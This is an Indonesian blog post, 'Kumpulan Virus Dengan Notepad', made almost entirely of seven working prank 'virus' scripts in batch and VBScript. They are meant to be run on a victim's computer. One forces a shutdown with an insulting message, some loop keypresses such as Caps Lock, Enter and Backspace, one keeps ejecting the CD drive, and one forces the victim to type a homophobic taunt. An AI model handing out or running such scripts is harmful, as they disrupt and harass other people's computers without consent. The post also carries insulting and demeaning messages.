Kumpulan Virus Dengan Notepad

1. ) memberi pesan dan shutdown komputer. Buka Notepad ketik script dibawah ini
      dan Save As menggunakan  Extension .BAT
      ===============================
      @echo off
      msg * Aku tidak suka kamu
      shutdown -c "Error! Kamu jelek sekali" -s
      ===============================

2) Menyalakan tombol Caps lock secara simultan.
    Buka Notepad ketik script dibawah ini dan Save As menggunakan Extension .VBS
    ====================================
    Set wshShell =wscript.CreateObject("WScript.Shell")
    do
    wscript.sleep 100

    wshshell.sendkeys "{CAPSLOCK}"
    loop
    ====================================

3) Buka/tutup CD drive secara terus menerus.
     Buka Notepad ketik script dibawah ini dan Save As menggunakan Extension .VBS
     =====================================
     Set oWMP = CreateObject("WMPlayer.OCX.7")
     Set colCDROMs = oWMP.cdromCollection
     do
     if colCDROMs.Count >= 1 then
     For i = 0 to colCDROMs.Count - 1
     colCDROMs.Item(i).Eject
     Next
     For i = 0 to colCDROMs.Count - 1
     colCDROMs.Item(i).Eject
     Next
     End If
     wscript.sleep 5000
     loop
     ===================================

4) Tekan Enter secara simultan.
      Buka Notepad ketik script dibawah ini dan Save As menggunakan Extension .VBS
     =====================================
     Set wshShell = wscript.CreateObject("WScript.Shell")
     do
     wscript.sleep 100
     wshshell.sendkeys "~(enter)"
     loop
     =====================================

5) Mengetik pesan kita secara otomatis di notepad.
    Buka Notepad ketik script dibawah ini dan Save As menggunakan Extension .VBS
     =====================================
    WScript.Sleep 180000
    WScript.Sleep 10000
    Set WshShell = WScript.CreateObject("WScript.Shell")
    WshShell.Run "notepad"
    WScript.Sleep 100
    WshShell.AppActivate "Notepad"
    WScript.Sleep 500
    WshShell.SendKeys "Hel"
    WScript.Sleep 500
    WshShell.SendKeys "lo "
    WScript.Sleep 500
    WshShell.SendKeys ", ho"
    WScript.Sleep 500
    WshShell.SendKeys "w a"
    WScript.Sleep 500
    WshShell.SendKeys "re "
    WScript.Sleep 500
    WshShell.SendKeys "you"
    WScript.Sleep 500
    WshShell.SendKeys "? "
    WScript.Sleep 500
    WshShell.SendKeys "I a"
    WScript.Sleep 500
    WshShell.SendKeys "m g"
    WScript.Sleep 500
    WshShell.SendKeys "ood"
    WScript.Sleep 500
    WshShell.SendKeys " th"
    WScript.Sleep 500
    WshShell.SendKeys "ank"
   WScript.Sleep 500
   WshShell.SendKeys "s! "

6) Menjalankan BACKSPACE secara simultan.
      Buka Notepad ketik script dibawah ini dan Save As menggunakan Extension .VBS
     =====================================
      MsgBox "Let's go back a few steps"
      Set wshShell =wscript.CreateObject("WScript.Shell")
     do
      wscript.sleep 100
      wshshell.sendkeys "{bs}"
      loop

7) Hack keyboard sehingga korban dipaksa mengetik "You are a gay" secara simultan.
     Buka Notepad ketik script dibawah ini dan Save As menggunakan Extension .VBS
     =====================================
     Set wshShell = wscript.CreateObject("WScript.Shell")
     do
     wscript.sleep 100
     wshshell.sendkeys "You are a gay"
     loop
     =====================================


Categories: , , Share

About Me

Foto saya
Surabaya, Jawa Timur, Indonesia
Merintis dari bawah, Untuk Menjadi Yang Teratas